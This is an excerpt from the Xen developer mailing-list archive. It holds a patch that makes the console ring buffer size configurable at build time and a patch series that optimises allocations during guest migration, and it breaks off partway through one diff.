	KF3xq+WnEDxKlvOsn7m0thC39p08XhyXOk1yu8gOd/7hb8Ne/ZfnWhiqDOBRwEhQn+AUQWYqaOzzXNAa2NEHynwYKmioqLusgJ0LMZioboohWi42FWcvNULKHobEq48jFQ4kuygFgggWRwuO/Om7wLbkevIjBdX76ZoZdR3zoNAw+k34T33m2Dwc0MhbDvWP0j0A2SsB9hhn+SxmmfZeKRPBtWbqtJWgSi/Xh42s+REYBhXFONspKrvDDhxa+1N/2Tc6hQ0wyKVpfvP0cXz0JtLVfRgNdAlH/vgwVdWF4Pgcv8+Etkzn0ysgXu7Tznjw3g4ZbzmXONVbPSI3dJcDWHdeay0M2xHQNMF5m4gXrITevL9ZLYPNFUQWoM5xPlIXp61MgLn+6mfiEItvj4bIdUhHaIVp0T5h6qQhNyH/etlGBB8N4wFAtbcAiIGiS/KJXLrmQLM/fY/xO+eK7FV+/jb20B+4QgZvoV6mXo2d7334OATGEf+vAnmRLCn1DXsTEp8YV299K/ocbtZA1KS6b26IIsq19/PH33Hnh8ztNKQXUUXPnBRIRCoh45LPHzQXtu///KvDCvxhnpJrRxkf8cWgvB4N7KomgDnHza1RHaq5QRWzcbvabwQLnQZskbQd8s9BhEFzw+hYGiN0DJ3/7IhQuED/NvfhTD1k6LZZMD+x/LZFx8dJqL1IZZcJeHRZFrrhwp8mYI/uXyK7/rUlHg==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(36860700016)(23010399003)(1800799024)(376014)(82310400026)(18002099003)(22082099003)(56012099006)(11063799006)(3023799007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	yHTCSo78+GTmA61hQUGA0V8FvwK1WHCbGhiLss4c2jk08UsFBPDR1WgNrhbHairIRRe9wucLsCHpxNxvJjB5zizYllhH41pCtuKdUt0m5sFRbxhwfwgyvUdBHZl1Q6aRKYdsfagwFxsr9fkWCQvLCbRHM4A63RM9KhQbqOVLfWJ0STP8G5B4GCQx+Hxw3RyOTWNBX+QLVM3G6UxGwBjxgn374aPB2KrZ47wi8hFT7BtK3yxF+UOvEp1x0/2G8Kd+JREkViPxVmA44c6/8K745tYvzEgQdjyBgB8l8jHwFjmFYhQ438a14Fg7lBF8JYhyN4M7YOL4WrUNYHB6Qt8tSzDK3lXi9I6BxArS/OWrJ1R5tXJsiTikUUwoMFiSLzfNtu53IACTPHw8oOWvAr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ub0uGf1/Crxg+BuCikBL8kNfMhTEHC6Nr7wBPRPhv/Nv6cNwi5ys0le1AjrDl8RUST8bXQhBL7MpkUUtT2B7Lg==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 13 Jul 2026 18:16:44.9878
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: c1e0c5d2-51e6-4ea7-fb50-08dee10ae59b
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH1PEPF0000A346.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH0PR16MB5254
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzEzMDE4OSBTYWx0ZWRfX6GSmaYjIHt0C
 4bvaubHKmkdfZScV2yqYj2o/aQKnk5lxXvkzRz5fXD/Mevg9frPZ5xPjbJehcQv0NX4XDima+nD
 3lj6fgCLwmpN2f3COkYOWtP/s8DFltKro5zN40gr6I45/lXBOzmOXCiUz0LpgJ/8/a1bfQG0nWA
 FwBoAsV6JH36u90eZPkG3z/SNzijRQaVOn9Zttw56KrRqQ8Gd89/toy7FYFhD/iKyeScZq66eFz
 0RKhJFEPHTwF7c+EsnC7vk4Pktm70TRbPR86ELV8BjECmOSden40vCJRBEFwLqpHym2cehrFqtO
 To3iVbPqdlZrLnuJNbUZF7X6wf1ol/JQCyfjPDbOhX4Yscih+khatHQ9TJMineHWQI+wOFtp9ii
 V12waESTHYB2lA+27Fcs7J9x9H1DVxeLKiL3yY8ugRxZ/wCKDhtgni3WzbATFDmZopNPqJVPRUH
 xvhrWpwy/6qaDWkXSzA==
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzEzMDE4OSBTYWx0ZWRfXxyP8FGo7PS0f
 c8t4X6YhMcmhJeIDnj1sY1nVefUOez+SeUXcTiJjSUGeehmHP0YABcrX2ZkDyIHelGsvYQwhniT
 qTkyJbLxyHrJpdxSbWLpKpmede24HUE6eDO40ao1UnJqOIXmczHf
X-Proofpoint-ORIG-GUID: b3dVGzvq7sojgUTX4cedI0yDejnLE2La
X-Proofpoint-GUID: b3dVGzvq7sojgUTX4cedI0yDejnLE2La
X-Authority-Analysis: v=2.4 cv=XszK/1F9 c=1 sm=1 tr=0 ts=6a552b93 cx=c_pps
 a=wX+iSCk909IGAd/hxyKeOw==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=-OawqTZBqJjt90xPb8wn:22 a=p0WdMEafAAAA:8
 a=cbNQJ9GKAAAA:8 a=h10IGR_9uvuIgT1K_eoA:9 a=3whSkbs7g9Me0DR5EJEX:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 priorityscore=1501 bulkscore=0 malwarescore=0 clxscore=1015 suspectscore=0
 adultscore=0 lowpriorityscore=0 impostorscore=0 phishscore=0 spamscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607130189
X-purgate-ID: tlsNG-c201ff/1783966613-6274512E-889C75FC/0/0
X-purgate-type: clean
X-purgate-size: 3378

From: Denis Mukhin <dmukhin@ford.com> 

Add new CONRING_SHIFT Kconfig parameter to specify the boot console
buffer size as a power of 2.

The supported range is [14..27] -> [16KiB..128MiB].

Set default to 15 (32 KiB).

Update the documentation for 'conring_size=' command line option.

Resolves: https://gitlab.com/xen-project/xen/-/issues/185
Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v6:
- fixed Kconfig and documentation text
---
 docs/misc/xen-command-line.pandoc |  8 ++++++--
 xen/drivers/char/Kconfig          | 21 +++++++++++++++++++++
 xen/drivers/char/console.c        |  6 +++---
 3 files changed, 30 insertions(+), 5 deletions(-)

diff --git a/docs/misc/xen-command-line.pandoc b/docs/misc/xen-command-line.pandoc
index 2be8772b329a..448c9bdb8254 100644
--- a/docs/misc/xen-command-line.pandoc
+++ b/docs/misc/xen-command-line.pandoc
@@ -425,10 +425,14 @@ The following are examples of correct specifications:
 ### conring_size
 > `= <size>`
 
-> Default: `conring_size=16k`
-
 Specify the size of the console ring buffer.
 
+The default console ring buffer size is selected at build-time via
+`CONFIG_CONRING_SHIFT` setting.
+
+The run-time console ring buffer size is the maximum of the build-time value
+and the value specified by the `conring_size=` command-line option.
+
 ### console
 > `= List of [ vga | com1[H,L] | com2[H,L] | pv | dbgp | ehci | xhci | none ]`
 
diff --git a/xen/drivers/char/Kconfig b/xen/drivers/char/Kconfig
index 8e49a52c735b..a40a9929132b 100644
--- a/xen/drivers/char/Kconfig
+++ b/xen/drivers/char/Kconfig
@@ -95,6 +95,27 @@ config SERIAL_TX_BUFSIZE
 
 	  Default value is 32768 (32KiB).
 
+config CONRING_SHIFT
+	int "Console ring buffer size (power of 2)"
+	range 14 27
+	default 15
+	help
+	  Select the boot console ring buffer size as a power of 2.
+
+	  The run-time console ring buffer is the maximum of the build-time
+	  value and the value specified by the `conring_size=` command-line
+	  option.
+
+	  If `conring_size=` is not specified on the command line, the run-time
+	  console ring buffer size is the maximum of this value and
+	  `num_present_cpus() << (9 + xenlog_lower_thresh)`.
+
+	    27 => 128 MiB
+	    26 =>  64 MiB
+	    ...
+	    15 =>  32 KiB (default)
+	    14 =>  16 KiB
+
 config XHCI
 	bool "XHCI DbC UART driver"
 	depends on X86
diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index dc779439cb69..a58531226091 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -340,12 +340,12 @@ static void cf_check do_dec_thresh(unsigned char key, bool unused)
  * ********************************************************
  */
 
-/* conring_size: allows a larger console ring than default (16kB). */
+/* conring_size: override build-time CONFIG_CONRING_SHIFT setting. */
 static unsigned int __initdata opt_conring_size;
 size_param("conring_size", opt_conring_size);
 
-#define _CONRING_SIZE 16384
-#define CONRING_IDX_MASK(i) ((i)&(conring_size-1))
+#define _CONRING_SIZE       (1U << CONFIG_CONRING_SHIFT)
+#define CONRING_IDX_MASK(i) ((i) & (conring_size - 1))
 static char __initdata _conring[_CONRING_SIZE];
 static char *__ro_after_init conring = _conring;
 static unsigned int __ro_after_init conring_size = _CONRING_SIZE;
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 20:48:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 20:48:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361927.1613946 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjNZT-0005A5-4P; Mon, 13 Jul 2026 20:48:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361927.1613946; Mon, 13 Jul 2026 20:48:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjNZT-00059y-11; Mon, 13 Jul 2026 20:48:11 +0000
Received: by outflank-mailman (input) for mailman id 1361927;
 Mon, 13 Jul 2026 20:48:09 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wjNZR-00059r-Og
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 20:48:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjNZP-009Hn3-Gx
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 22:48:07 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a554eec-e002-0a2a0a5209dd-0a2a450bb952-8
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 22:48:07 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <freddy77@gmail.com>)
 id 6a554f07-b7da-0a2a450b0019-d1558033d168-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 22:48:07 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-493f60208a5so31037715e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 13:48:07 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49508724786sm23924255e9.3.2026.07.13.13.48.05
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 13 Jul 2026 13:48:06 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783975687; x=1784580487; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=jNvcypdvf8cqrabG10FqUFjqt5luk1pIONVqLXZYNUc=;
        b=oQBFdVJSdxXGBPBpKt8W5qtY+KaNwg3QgfuhlgN8ciYxljoiXEmGhIquIrY4FX8kqj
         i61XLT4znuY289EV87hU/2mQnRCSv44BdXwvp+V13CLES/zlbO7zfz3LshTAkj7OjGE6
         0HqyMzunJ9tBt1zvgVKkpHUZOVcZzwalB0YGMb8sLlulXpQxbrV+1eEPe+eEEnXfzt5v
         S0xhizxkz3n6tVSOtDmKEn81wbTWZWblU0cZHVVdFMy4yBoALARcKfFd5NQHz5prFpGl
         JpEXVRT53IaMDFSycos05osdX3bG+oLiXzEbctbtzmHVFkDy/04Nl+qCkSjyyp9A+5Af
         YRNQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783975687; x=1784580487;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=jNvcypdvf8cqrabG10FqUFjqt5luk1pIONVqLXZYNUc=;
        b=rOBSpTjp2F/xNxnAt/pQB9PeIlN02Mlrz5qwybvNAbjlDFODcKH7oHUPgGn8ToJ4PS
         aDXoZTjp1KzOUhoJQOu7xJhKVVbY31N5e8u4DtSlXQXhOkjmGm3e09TDPsVQtB07cx84
         cwSnXtDdjUnLnt5nIWtvQxLYwsJSjljwgJASSgftpSnEdaP0QRRrQBv3BhTFBVwXB2TP
         Qg3cgY79qFMZegnYga3t5nW/4pe5C8mHIkxVshrDvKyVBMMVAOja1M+AveGwwNZQYS5Z
         Lr9XzGDQvy4VF+7y5Z8cb28XO9XIdjD0Euk2O9JBHZTeClwOqCKCiabd6XWfRNBd/a1x
         6QBg==
X-Gm-Message-State: AOJu0YwBoEQUZwJ5yFwv7ukXl5otcjGszuqhMRVWZ82ZjZGsCMuHXOSX
	pAjhO51zQMvcz8qo49Rg+daaZLKgvTN7nN4rFmx/zgEBOxyLkMH9xXI6Cy+Fqrkn95w=
X-Gm-Gg: AfdE7clluoZcHvkktK+Jo+8Otkqw+n/BCuYVlInm48uJSsDaW0/dy2wFzjKXoezy4hI
	YxYogEwbTOqGZqGP5whIijy1tTV0yw0QjeEeqIWY/EEdxyfPwKZDa9YFvR+E74+9YTYYkzglSst
	M1RYRtZJ2W51jd+c8v65XLMZVMMogjIXg4ZJhuwER0tkBev9w0bVa6jK+YIslRK+uCBBFfowwer
	NT4Fx2h0Tf4T4w2n/nmeIxM831MMHa4LbEej/5XoR5DMjQhI9v56XYNLAnsmftB9ICbzGcXqzgX
	MLc1rCvfF/ikYagmyCkrLyzBcoDbh8IGfnx3MPuaFgB+dwln0x3YfGnrkUhpWHypD1bKY29oXCo
	ArODho+mwM9jNid9bUCZ+YCefIrEz/ZE5Jts+JML/zAlWevKMCWh5OSS3FD9iCuZU02AquUbDNZ
	OTXkfnfZoBeFpjaF0QAzhO5a6p4fVacYxuz6hgYVDpWrcFj7bRAYzwzAYRA6YvbpoGkp33sU9U9
	hPtdYOI5lRXlL+8C46BE1IzVcczWg==
X-Received: by 2002:a05:600c:5493:b0:493:f262:b8 with SMTP id 5b1f17b1804b1-493f87d666bmr110995615e9.1.1783975686631;
        Mon, 13 Jul 2026 13:48:06 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: [PATCH v9 0/4] xenguest optimisations
Date: Mon, 13 Jul 2026 21:47:58 +0100
Message-ID: <20260713204802.105115-1-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1783975687-C716D9ED-233DDF28/0/0
X-purgate-type: clean
X-purgate-size: 1879

Reduce number of allocations sending memory state.

Changes since v1:
- add commit to cache up to 4 pages in hypercall;
- add other 2 commits reducing chunks passed to write/writev.

Changes since v2:
- update patches commit prefixes;
- add other 2 optisations.

Changes since v3:
- address some comments;
- add patches for foreign copy optimisation.

Changes since v4:
- added Reviewed-by;
- improved commit messages;
- other minor fixes, see individual commits.

Changes since v5:
- avoids potential buffer underflow if nr_pages is 0 calling cache_alloc;
- do not overwrite errno if xenforeignmemory_map fails;
- lot of changes to "implement new foreign copy hypercall", see specific
  commit.

Changes since v6:
- removed merged patch;
- keep only optimization commits for now;
- improve comments;
- merged "fill directly iov structure collapsing them" and moved it;
- split "allocate various migration arrays just once";
- add a commit for memory checks using Valgrind.

Changes since v7:
- removed merged commits;
- minor style fixes.

Changes since v8:
- added Reviewed-by;
- remove useless check;
- remove useless memset;
- initialize variables while declaring them.

Edwin TÃ¶rÃ¶k (2):
  libs/call: cache up to 4 pages in hypercall bounce buffers
  libs/guest: allocate various migration arrays just once

Frediano Ziglio (2):
  libs/guest: move batch_pfns into a separate structure
  libs/guest: use Valgrind to detect various buffer overflows

 tools/libs/call/buffer.c        | 34 ++++++++-----
 tools/libs/call/core.c          |  3 +-
 tools/libs/call/private.h       |  8 ++--
 tools/libs/ctrl/xc_private.h    |  8 ++++
 tools/libs/guest/xg_sr_common.h | 19 +++++++-
 tools/libs/guest/xg_sr_save.c   | 84 ++++++++++++++++-----------------
 6 files changed, 98 insertions(+), 58 deletions(-)

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 20:48:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 20:48:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361930.1613968 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjNZW-0005Z8-2a; Mon, 13 Jul 2026 20:48:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361930.1613968; Mon, 13 Jul 2026 20:48:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjNZV-0005X5-Rt; Mon, 13 Jul 2026 20:48:13 +0000
Received: by outflank-mailman (input) for mailman id 1361930;
 Mon, 13 Jul 2026 20:48:12 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wjNZU-0005Mj-JH
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 20:48:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjNZU-00FW63-04
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 22:48:12 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a554f02-bab6-0a2a0a5309dd-0a2a4503e5b2-10
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 22:48:11 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <freddy77@gmail.com>)
 id 6a554f0b-f2d2-0a2a45030019-d155802cd177-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 22:48:11 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-493f60208a5so31038145e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 13:48:11 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49508724786sm23924255e9.3.2026.07.13.13.48.10
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 13 Jul 2026 13:48:10 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783975691; x=1784580491; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=qGsmWUifmdUWchWcdJY2/HqBgvlxTOt3fS0Wzpm+gj8=;
        b=I/9ZbTyCXO8ypfQgF8+ZADatNTI80pexwrz9iWsUXvLO2JPWOLzzj0Iw93eDhDdkmn
         iEs336MTe2dbkNUZBGluEK7oZCcsHcujh/ATf7EVRtFnLxbC8uvulKD2rzBn5Nl2Nbal
         CvxiewbhrkH1phcHNPrkZV1oE3SmUav7uZgEXwXfXBod1ockzeOghFQqfx+JWsojbTv9
         qr/P/bwdWlHs6+Sfr+FvtTQLNFs2pjmx5ZUItCRBKvjLsVnppQLr9g/aNvuCBEgKj8Qo
         BQpUk0Jtu+wiWbapVU+zPR1O1TwyWisGXqCjVVXJ9VyWGkoWri9aeOwiAdVegOBtkynE
         gCGw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783975691; x=1784580491;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=qGsmWUifmdUWchWcdJY2/HqBgvlxTOt3fS0Wzpm+gj8=;
        b=oLB4Eg/XbHZEmrEWCD5NOe3qqXpemZeWi8N7JFvhmv19mRTMFVxYnJal2aA2brCt0a
         hTxu2fxXMmGzU3kTCtYdQNn5bSJowCs+wP9oa6imrGgGh/8/xH5IZ+3aLXJlTPUv5794
         v0ttopHPdQ7SSiDeTZcLhe6xOKLuQPEFK7aoXcrCfq5i2Jm/bMx0RaEe7+lzESoNk3Ar
         oxReOR6fXklFmaMasrPNvOHP9xuO+rxspnvFUS44bnB321/LnmTySslN7KoL5aOcu7Zt
         Fsbtvvd0NGPUJm3d4DXYlfOMiF9qqEYNIr6Q/6eSjLseNoSwEa0qsmNOlK+nyaoz9avN
         qWgQ==
X-Gm-Message-State: AOJu0YxvHwALQ71Pi0f9xTNBBqry07Wm1IuA40pGemVQ3nEX+Yjz+vA7
	EB5v57A9JRuheUa7dTy7684X6eHGhcBAhTc8Y02qVJz5UXuK8F9vCfbgOWTHsm5vOX84Wg==
X-Gm-Gg: AfdE7cm4vWMU7obTIxkxbNazKtWJAOP7HDD1xqbMLU8E/0stMUODJVBO5KK2hTZFybh
	Tedrn/xxuOU/t2kqqVYe/4J7tq6QfzQ3zac81TOUtJfcE4pquxCsE1hmtX5flTJfU91UCEWlaWc
	IgbmzVqDFahnLNEA3WEAWxxpBDS8mM2qalTmQ2Kn4pUHQpY1aDLPwxeoKETNMqEKGU6yjQ805y1
	wMVNKwrL0kn7wwvPJTpVJmqJEBfkvHwkZmJvFXhSYZXHVy7MYCdH5wYHekGQjrECDvkyTPEqX+X
	/j70QNvX/yhF7uawQQ3REj+v2rZ8iuTV78AJU8ygf1e53conckIuEKLHYBsjbSf71+pYzPYVGIv
	bjtr6wzs1KdcaUbctsr0/Z7Be2uNfWpOZoF/Uf6M8f0Njh8LeiwMNV1zBDVHb/wr0lRhALRiLTI
	K0ozPGrjlfZoxLL6lO+88BZRm2iERoZXCFRdFhg/O3y3SbWnZD3xFtoeJbF9l7FZEpO5Q0kT55B
	sBqt9XQmTKxt0OyI7k=
X-Received: by 2002:a05:600c:468f:b0:493:df1d:7488 with SMTP id 5b1f17b1804b1-493f87e5b4cmr116516855e9.16.1783975691233;
        Mon, 13 Jul 2026 13:48:11 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?Edwin=20T=C3=B6r=C3=B6k?= <edwin.torok@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v9 3/4] libs/guest: allocate various migration arrays just once
Date: Mon, 13 Jul 2026 21:48:01 +0100
Message-ID: <20260713204802.105115-4-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260713204802.105115-1-frediano.ziglio@citrix.com>
References: <20260713204802.105115-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1783975691-C0B5DCF4-400B2EB9/0/0
X-purgate-type: clean
X-purgate-size: 4798

From: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>

Allocate these array just once at the start of migration,
using the maximum batch size, and free them at the end.

Signed-off-by: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>
Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
---
Changes since v2:
- change prefix in subject.

Changes since v3:
- fix comment style

Changes since v4:
- change order of fields in structure.

Changes since v6:
- split preparation commit.

Changes since v8:
- remove useless memset;
- initialize variables while declaring them.
---
 tools/libs/guest/xg_sr_common.h |  6 +++++
 tools/libs/guest/xg_sr_save.c   | 45 ++++++++++++---------------------
 2 files changed, 22 insertions(+), 29 deletions(-)

diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
index 7574c9f5b6..c07c6db59e 100644
--- a/tools/libs/guest/xg_sr_common.h
+++ b/tools/libs/guest/xg_sr_common.h
@@ -246,6 +246,12 @@ struct xc_sr_context
             struct xc_sr_context_save_buffers
             {
                 xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
+                xen_pfn_t mfns[MAX_BATCH_SIZE];
+                xen_pfn_t types[MAX_BATCH_SIZE];
+                void *local_pages[MAX_BATCH_SIZE];
+                struct iovec iov[MAX_BATCH_SIZE + 2]; /* Headers + data. */
+                uint64_t rec_pfns[MAX_BATCH_SIZE];
+                int errors[MAX_BATCH_SIZE];
             } *buffers;
         } save;
 
diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index 22348db445..6a77e33a47 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -86,15 +86,12 @@ static int write_checkpoint_record(struct xc_sr_context *ctx)
 static int write_batch(struct xc_sr_context *ctx)
 {
     xc_interface *xch = ctx->xch;
-    xen_pfn_t *mfns = NULL, *types = NULL;
     void *guest_mapping = NULL;
